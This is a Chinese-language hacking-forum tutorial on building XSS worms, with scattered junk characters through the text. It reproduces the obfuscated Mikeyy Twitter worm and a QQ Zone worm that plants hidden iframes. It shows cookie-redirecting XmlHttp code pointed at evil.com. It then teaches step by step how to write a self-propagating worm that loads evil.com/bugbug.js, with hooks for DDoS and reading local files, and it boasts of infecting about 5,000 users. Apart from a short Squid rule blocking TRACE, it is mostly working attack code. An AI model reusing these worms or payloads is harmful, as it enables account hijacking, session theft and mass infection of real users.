: i  d2 k& S# E+ V! l; P, r7 B
% [" p# u; g/ z6 QSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
" B8 L. H* N) F# z1 @* i
acl TRACE method TRACE
. P) I  E3 N) T4 z8 G" E
! I7 ^5 v5 \+ D' x...

http_access deny TRACE
6 h  X. n$ ?2 D5 R复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

/ j. H( t+ X: ovar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
# m; Q9 d( A% W3 q) _
6 P2 e8 L1 A8 yXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

/ U4 t! }* \& ~! F$ I7 oXmlHttp.send(null);
9 q/ ~8 D' `# Y4 N- z
</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
/ T6 W; `& K4 x
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

4 N) a/ [: v# E/ S! c

, \1 V8 q5 b; \8 L3 D2 NXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
& A$ ^/ U/ l! S% p* ?% i1 f
. }6 W; V# H2 _. p' PXmlHttp.send(null);

% c. _1 a4 x4 |4 x) k8 B* n- k) x<script>
5 u% ]2 ~/ y. ?8 D  W: O复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
; c9 a5 F- r  v复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)

6 U* }6 r/ T! q5 ]& z6 天前 08:27

9 i0 K8 r3 i- f8 H! B第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
& }% {: v- F% v* _: y
8 h6 r" u8 H6 w+ ^. n   2.   
; n8 L1 m4 F1 v/ W$ L$ C% _
   3. function XHConn(){  
2 i. a1 C& c8 m) E! r) F8 H0 a
   4.   var _0x6687x2,_0x6687x3=false;  
# R# h2 Q1 ^% ?. s
9 P9 D' b# d& D3 G+ L   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
5 n* M, W3 k3 G4 R( G% J
' I- \' R8 }8 U. `; Q   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
9 ]5 U! m( }' }  _! }' Y; D
9 z( Z: B7 {0 m4 Y3 W* _2 {   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
: @5 J; Q6 \6 o, B, |: o
   8.   catch(e) { _0x6687x2=false; }; }; };  
0 H* I! F0 J# R9 z) |$ g复制代码第六版:   1. function wait() {  
* N) }9 D* n9 |% s9 Q2 P: X, M, l
   2.   var content = document.documentElement.innerHTML;  
) _5 D4 q8 q! \: ^  u
   3.   var tmp_cookie=document.cookie;  
7 Z% g7 G# [' r9 k. g+ P: i3 Q
   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

  [& \" a' z! j% t5 \- x+ S   6.   var authtoken=authreg.exec(content);  
/ c4 {9 B( w( H8 v2 L
( F) ]; q- Q: v: B! }% y; u* t8 w$ V   7.   var authtoken=authtoken[1];  

( i; `3 ]+ ^: V% D% }/ l8 z   8.   var randomUpdate= new Array();  
5 \5 {, o6 i, ~7 Z3 c- S
0 A; p* b$ W6 }$ u3 }   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
/ W( D: S4 a6 D
4 }  W; F- B; W  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

0 {# Z: y' k% x  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
$ |2 ]' H! Y3 e6 y3 k% `# ?
- j! m2 o# h' B( B  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
8 f; D! a3 n: v
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
. Z1 y/ m3 L2 j2 w& M- h/ J; Y
" d2 l1 }% ~* i' ?  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
$ h  P2 o9 P9 b4 D
  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

# T0 m9 Z8 \" n6 K7 |% ^  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
; ?3 H; L: L, O' K/ V
5 n- y7 P8 D# F/ Y  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
! l4 _* H% B: S9 G9 _' _8 P
; r4 T7 k. @- |# Y/ ^  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

+ A$ O6 j) o9 g1 C  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

. d6 \) Y2 r5 S; E  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
8 y) H  e' a1 X( I
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
, `: m& Z! P0 N6 A. W* o
  27.     
. n3 p9 `- @; p7 W
  28.   var ajaxConn= new XHConn();  
* {3 H3 ~% i& s3 f: x, v
, p* V- B1 T& k% n  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
" Z6 u* U2 J6 f) h/ t
0 q) m; X' P4 h& G4 J& X" u  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  
# ?( G& x* L: m9 S
+ d. p! _' t8 _/ }! w2 W" F  32.   var ajaxConn1= new XHConn();  
1 S) j2 G4 f) Z. t2 b& i9 U, J( t
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

( }7 h0 o! Y% X5 P( r6 _! E- f  35.   var XSS=urlencode(genXSS);  

8 A. x; I) H( N0 i; k1 U' H  36.   var ajaxConn2= new XHConn();  
* R- ^: E2 d3 P, r
; _" z4 ?" O$ Q5 G6 f- c  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

* X4 O. G" Y6 ?) x; \1 }  38.     

9 E! J" T1 N' u# P" \* ^( r3 l  39. } ;  
1 I( ~- r+ x2 }; h
  40. setTimeout(wait(),5250);  
; A$ u& ?( g' s3 _; }4 Y9 |复制代码QQ空间XSSfunction killErrors() {return true;}

( ]/ D6 j2 ]% \& A1 ^5 z2 awindow.onerror=killErrors;



var shendu;shendu=4;

+ |$ j5 [) S& O; _3 I9 W//---------------global---v------------------------------------------

& t2 |7 _7 `+ l% m0 ~1 }& G3 W  ?9 q//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

' O- c+ [( ~7 {  N7 V; ~var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

' ?# K* m. t( x+ @4 dvar myblogurl=new Array();var myblogid=new Array();
4 ^- ], |& ^) L
        var gurl=document.location.href;

& S! z% B0 z" O5 v, n8 i, _        var gurle=gurl.indexOf("com/");
' P3 q6 _. C' c7 Q8 ]" [6 V; I
        gurl=gurl.substring(0,gurle+3);        

! g0 B$ T6 M3 c7 D; v3 `* X        var visitorID=top.document.documentElement.outerHTML;
) E. l; `/ \1 u: m. K
1 V6 Q  q( B; b8 c           var cookieS=visitorID.indexOf("g_iLoginUin = ");

* ?0 c9 U% a0 w3 v4 Y; q        visitorID=visitorID.substring(cookieS+14);

        cookieS=visitorID.indexOf(",");
! e: s% t7 {7 f. O  X! u9 D4 G
        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);
0 A( w- ^' o  a* t% N1 t
. G% ]! w8 u9 A3 o" f) A5 q* s        DOshuamy();
8 h6 m( o' R& D$ A  p" {

# u1 s" @. |/ C$ F, M
//挂马
4 A2 w/ e8 m+ U% i" \( m
function DOshuamy(){
2 q: a8 y8 H. L/ \6 n5 t/ I* E
var ssr=document.getElementById("veryTitle");
& F8 |1 o4 a. x* u$ L
" M- X  y. l3 j; A5 B9 U$ |ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
* j* U( n/ a1 d# [# f& V7 g
}

5 K, |  s0 E+ e. s) [# G5 p
: h5 d1 N5 W5 L0 l3 s
& m) _/ c2 @+ }8 f4 P//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){
- \/ U. q" }7 V; K: R4 \0 G# ]4 A. E
8 `- U. b/ t; a' [" J: C   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

1 o* U4 m9 }2 B; Q" a   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

, W, p$ }( I$ |+ W" L  d   if(xhr){    //成功就执行下面的

     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
' G) u, e0 }  Y% ?+ z9 m7 d- F& G
     xhr.send();guest=xhr.responseText;

     get_my_blogurl(guest);    //执行这个函数
3 z- ]3 w  d% S6 V6 D9 i. T" Q
9 G+ K! o5 O4 f  s    }
) n/ A' X3 K6 {7 D
}
3 c& ^0 D# }; b; P' U' f

& _" U0 r) o/ N% `, d* ~5 P$ K8 L$ r
% r; S6 Z) N2 G" s//这里似乎是判断没有登录的
( P9 D1 r& Z0 N. s# o- y
. I. y( O% B# h. {& Z# e4 i; Sfunction get_my_blogurl(guest){

0 O1 D- A1 q: ]. f6 Y  var mybloglist=guest;

  var myurls;var blogids;var blogide;
9 f7 S5 J& _, f1 T. r7 n+ g
  for(i=0;i<shendu;i++){

/ u* ]4 D1 |1 L+ F     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
! G. n: |4 V& C* X
     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);

         myurls=mybloglist.indexOf(')');

+ _4 v- u8 w9 e         myblogid=mybloglist.substring(0,myurls);

" e( Y8 X! Q4 {. D2 u        }else{break;}
* P. m) n7 F+ `/ R8 n+ X/ m
}

get_my_testself();    //执行这个函数

}
9 J1 A: N, p! p& l# h( a6 Q. x

+ U' c% T$ {# e
//这里往哪跳就不知道了
; z' r# I2 n: z
/ e9 D/ v& }7 f/ `function get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值

% J# E7 ~/ x/ `; |      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
7 [2 f4 i8 q: Q  q
      if(xhr2){        //如果成功
( a, @8 i  z- b
              xhr2.open("GET",url,false);     //打开上面的那个url
( @$ ?0 R5 K! M) M- ]
              xhr2.send();
  |: [) k7 Y4 g" h0 D. A/ V1 u
              guest2=xhr2.responseText;
4 g# c7 v) e% Q% X3 I" y
  C: O5 y) S5 V$ b- q              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

. P" c# Z; d7 S! {" v& x3 N+ L" v              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
! s5 ^  B6 W0 v5 M& U- p/ K
                targetblogurlid=myblogid;   

; f4 K% e1 c1 f  t2 U                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

2 O+ K5 `! P8 n# O, q                break;
5 ]4 d; F, Q, E5 ?3 o
               }
0 {6 f7 F2 A8 h
              if(mycheckit=="-1"){

                targetblogurlid=myblogid;
5 W* n, p+ P( M% i
' G$ R, z$ F: i# D; J( P  i                add_js(visitorID,targetblogurlid,gurl);    //执行它
) {4 ]6 k2 f$ o
$ _1 }2 \+ f6 W+ G                break;
7 [, ^  T+ z6 O% A% l
- d6 ?$ s' K; z               }
$ ^5 x( L: l4 Q
        }      

$ O# a. r$ _3 v, D$ Q}

}

$ Q' N* o$ ~5 o  m  E- O% x+ ^

/ `1 G, t. ^" I//--------------------------------------  
5 @  G0 Z9 J# F
//根据浏览器创建一个XMLHttpRequest对象
* T* `1 a  Z3 Z! t$ A; @
function createXMLHttpRequest(){
/ M" e( Q0 [7 j5 \% `
7 @7 i1 [" E; g1 t( P( D: \    var XMLhttpObject=null;  
0 R/ ]' T6 E( R
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

    else  

& X  B! L6 W; ]9 l  j      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

! A% H0 `# T5 S        for(var i=0;i<MSXML.length;i++)  

        {  
  M7 ?% i. I; G) V9 g" y
7 ?- Q: M# D7 y' m/ C            try  
; r3 x" A* }0 O- Y
+ T) e( a- Q& g9 w' T2 L            {  

% h, M, C: Y9 u0 N                XMLhttpObject=new ActiveXObject(MSXML);  
" E6 Q; [7 G) c
9 d5 y! i$ Z5 G. R0 X% Y                break;  

$ r& T' z9 V5 \- I; G4 v3 e7 |            }  

! R# M. l6 c) z            catch (ex) {  
& z  x6 @6 |1 A% |) V  N7 C
            }  
! J  g6 \0 {+ J
; `' x- B$ Z3 h) N* J         }  
( E. ~( b/ _, K! o7 u. a
      }

return XMLhttpObject;
/ a0 j' t0 D4 U  `6 j5 V
  j" m- }+ @8 M5 J}  

; H: B3 ^4 E9 a! m

//这里就是感染部分了
0 G; G7 {" Z* x  i$ R8 v
function add_js(visitorID,targetblogurlid,gurl){
2 \1 C0 \' f% O8 K* X
var s2=document.createElement('script');

) v' w- @5 o( r' F2 M8 bs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
* Y* {  V) w6 t
1 P4 d3 ~; r1 m3 H- q( F! p& p& ?$ Ys2.type='text/javascript';

: }4 m% X7 G1 B8 w8 l, S4 Cdocument.getElementsByTagName('head').item(0).appendChild(s2);
- H# d( a, j9 G9 n
3 j4 i) q4 Q7 Y0 o' \; M}

" [# M& N6 }9 e

7 n! @, X2 M* U6 R" Nfunction add_jsdel(visitorID,targetblogurlid,gurl){
* k  C. q& F: ]: ^2 _
var s2=document.createElement('script');
* @: ], _( i: _% J. k, Y! T
; I* L5 s5 k# L) Is2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';

; D1 p1 w  t8 m7 j2 ?& Cdocument.getElementsByTagName('head').item(0).appendChild(s2);

}
0 d9 @) ]: E- {6 ?0 `  \2 b- ]复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

! q0 ]; q" z/ g1 c2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
. u, J4 s  V3 p' G
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
" _; P; q) k5 w, u% m

8 e' h) I5 ~9 D& m下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
% p7 |7 a: ?! \2 O8 P# }
1 I( d1 {, Y% _6 X8 E# G2 K4 i( o首先,自然是判断不同浏览器,创建不同的对象var request = false;

7 j4 b" |# A! g1 }+ vif(window.XMLHttpRequest) {

/ F# [# v1 M6 ]6 v; y: n. B1 l8 Vrequest = new XMLHttpRequest();

+ X5 B$ Q* Z# e* ~' r' Q0 a  aif(request.overrideMimeType) {

7 W0 Z/ `# [6 ?. z0 ?$ |- prequest.overrideMimeType('text/xml');
' u& i5 ?! B; F  |! C% a3 m
( [% Y- U" z7 Q}

" D+ F* I7 ^: d% z% }  h. v} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {

try {
6 |9 x0 x% B- l# D- I) y( Y
request = new ActiveXObject(versions);
; A8 p: q. Q* ^- V. ?9 K+ I
} catch(e) {}

: A! w" _, I" f8 K& t3 {}

}
8 w3 N. g: [8 Y- o
" ~4 z3 N  K/ O5 b. PxmlHttpReq=request;
9 A" \1 ?6 N, [& |; Q复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
9 D# [  D2 y* Y; X
2 a+ L- M4 \6 X! U$ Q1 `        var Browser_Name=navigator.appName;

        var Browser_Version=parseFloat(navigator.appVersion);
* k" W$ U$ `3 ~2 M$ L
        var Browser_Agent=navigator.userAgent;

        

        var Actual_Version,Actual_Name;
" _4 h# [. G% f6 C
        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
8 ~5 u/ j  w& ?0 S
        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");

        

/ w# `1 X! r0 Q) W9 A        if(is_NN){
/ X: r; x; C: C0 N3 _8 d9 V
            if(Browser_Version>=5.0){

                var Split_Sign=Browser_Agent.lastIndexOf("/");
( @; Y; s) [* \- [9 G0 r
                var Version=Browser_Agent.indexOf(" ",Split_Sign);
' G+ @4 E& R# {2 j
1 f3 P/ {! [/ @/ T7 Q/ |2 A                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

0 N0 p/ O. p! B3 p
/ @- j* l- I2 l4 W
+ r; q. t  Z% T5 D7 y+ W  `8 z                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }
- z! X) u1 P/ U! [: b3 j
& o+ E2 X2 W/ @% ?, o9 [9 q% j            else{

                Actual_Version=Browser_Version;

' G; m, G& s! t! h2 Q. r: e5 L. B8 d, x* L                Actual_Name=Browser_Name;

            }

        }
# U# ~$ l1 ^: o) n- l
! H; h1 C5 h: Z) M% U+ q        else if(is_IE){
% J; a/ Q- q" G
            var Version_Start=Browser_Agent.indexOf("MSIE");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);
8 h) h4 H1 w6 b4 z3 v% i
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
, X5 c8 ]& N2 B5 U+ G) |6 @- ?+ L; g8 Q
            Actual_Name=Browser_Name;

            

" w' Q2 p; J/ M/ B, V- {2 {            if(Browser_Agent.indexOf("Maxthon")!=-1){

( ~% y. _5 x4 t. f6 f; l  t                Actual_Name+="(Maxthon)";
! }; C% Q: O  l& s
6 C" N0 `" y% B! C9 T            }

6 D7 S# p3 }1 ~            else if(Browser_Agent.indexOf("Opera")!=-1){
) N+ w2 i$ q1 x) S
                Actual_Name="Opera";
4 S# l& e' T0 }' z
- p! I! M- q% r( n. _( H6 |                var tempstart=Browser_Agent.indexOf("Opera");
; {5 r$ j7 N/ X7 N. r' ~
3 T! V; h$ G  B$ \+ c% G                var tempend=Browser_Agent.length;
  v" }2 w" \/ y6 j1 Q
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
$ g! `8 O6 P) o$ i% k9 O4 W" m1 Z
        }

. I9 b  U1 x2 U( h        else if(is_Ch){

  j9 G; ~; ~0 w: ]1 e            var Version_Start=Browser_Agent.indexOf("Chrome");
6 F5 k- N3 R, R7 ~6 V: i
! x1 U: v* Y9 O' X- w            var Version_End=Browser_Agent.indexOf(";",Version_Start);

! @0 L1 V7 `% y# T- m8 l            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
8 Z1 \. D/ L# v6 N& U1 m
1 ?' V4 U, {* f5 t1 g            Actual_Name=Browser_Name;
% b& M8 ~) q( F3 ]* h/ \0 Q
! I+ _0 }+ L  a+ Z            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
9 t  \/ u9 ?3 g8 y6 u' A9 L
4 q' a) C+ p, x                Actual_Name+="(Maxthon)";

            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
/ o( q. k0 N  B1 a9 t! A: G  L) |  x
                Actual_Name="Opera";

3 B) H1 b5 P$ h' M6 p* @( |4 U                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

% k- B- U$ M# `0 B6 K9 v9 O            }

( h. L+ d3 x' @- z! e( u/ e2 L1 X        }

        else{
: Z4 E. R; V, O. E& N
            Actual_Name="Unknown Navigator"
, o6 Q! k1 b9 V6 o
            Actual_Version="Unknown Version"

/ ]9 m  Z; Y) m" i$ |5 t        }
" M* q+ ]  p) W2 k  i  U+ j


, o: y: J" u5 n) a& M$ N% v        navigator.Actual_Name=Actual_Name;

        navigator.Actual_Version=Actual_Version;

6 s! {5 @4 ^2 R# ~. X        

        this.Name=Actual_Name;
: T9 }) @( m: Z5 ~6 |
        this.Version=Actual_Version;
0 a% k9 o  i/ E- K4 W
    }

/ k  D+ @1 I4 M- p' R    browserinfo();
, X- P* ]. {' I4 t+ g
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
& X2 |; I' V( A8 n' g
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
# K5 f  |& ]) e0 @
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

4 }, A9 V# t1 Z& d7 j3 A    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
( G% Q% p, k1 N# K- `/ l! X
. Y* ?; j! \! bxmlHttpReq.send(null);
. K0 }$ H, g0 I  P  o9 x
var resource = xmlHttpReq.responseText;

var id=0;var result;
. ~$ ]! D3 K3 q
3 L8 `9 f. `2 Y- [0 w- Avar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
: ?. y# ?$ k. T: K- k" t
while ((result = patt.exec(resource)) != null)  {
: U8 C0 _$ p4 p* E3 {+ ~9 J
id++;
  q: k; m/ R: x  ?& p; w
}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
! R) L$ \: _3 D3 b$ g* ?& C9 H
no=resource.search(/my name is/);
' h2 P/ |: m: B# t, y
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
( R4 j- Z1 I" j5 z5 Z
var post="wd="+wd;
5 d  Y3 S- n2 N$ L* z, B
; l. p" \6 x9 h& T" Y* \3 M& [# exmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
$ N2 T% X: ]7 \' z- v" h
. w1 ?9 U' ~0 J! t6 `xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);
" ]* I& Z) {- W6 o
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
7 U; p; }' r5 y* F0 w
  M* A2 s" D. [& W( [" N3 c  PxmlHttpReq.send(post);

* S+ W  s& |& s+ q# M}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
4 c- Q3 @" q1 w' v: ]
: F9 p* L8 @: s! L. q7 L7 dvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
; |$ c# U2 c0 c3 B9 ~5 D. q, x
var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
: X, ]" @# d0 U! C
var post="wd="+wd;
6 [) a& K8 p3 u$ [" k
xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
+ B& p! o1 ]2 t  t$ S
2 v3 `/ H5 M7 A! o: D2 I! `6 gxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);
% ]+ P& n, i& s* h  \7 R4 ]
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);                 //把传播的信息 POST出去.

}
$ O; e1 |5 s% G4 @复制代码-----------------------------------------------------总结-------------------------------------------------------------------
4 i' l/ W' \* H# F% H4 u9 X5 a


本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
2 M& ~; e. f  N( }8 l3 h6 A- Y操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.




1 k# @' K1 x& x6 w7 P" ^& {- E& r


9 o0 X# w2 \( B+ c( q
本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
: p( w6 q' v, o3 G" g! h6 z# [8 i"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
8 {3 m* ~2 b/ fXeye Team http://xeye.us/
5 m) }) Q  ?0 e, D/ U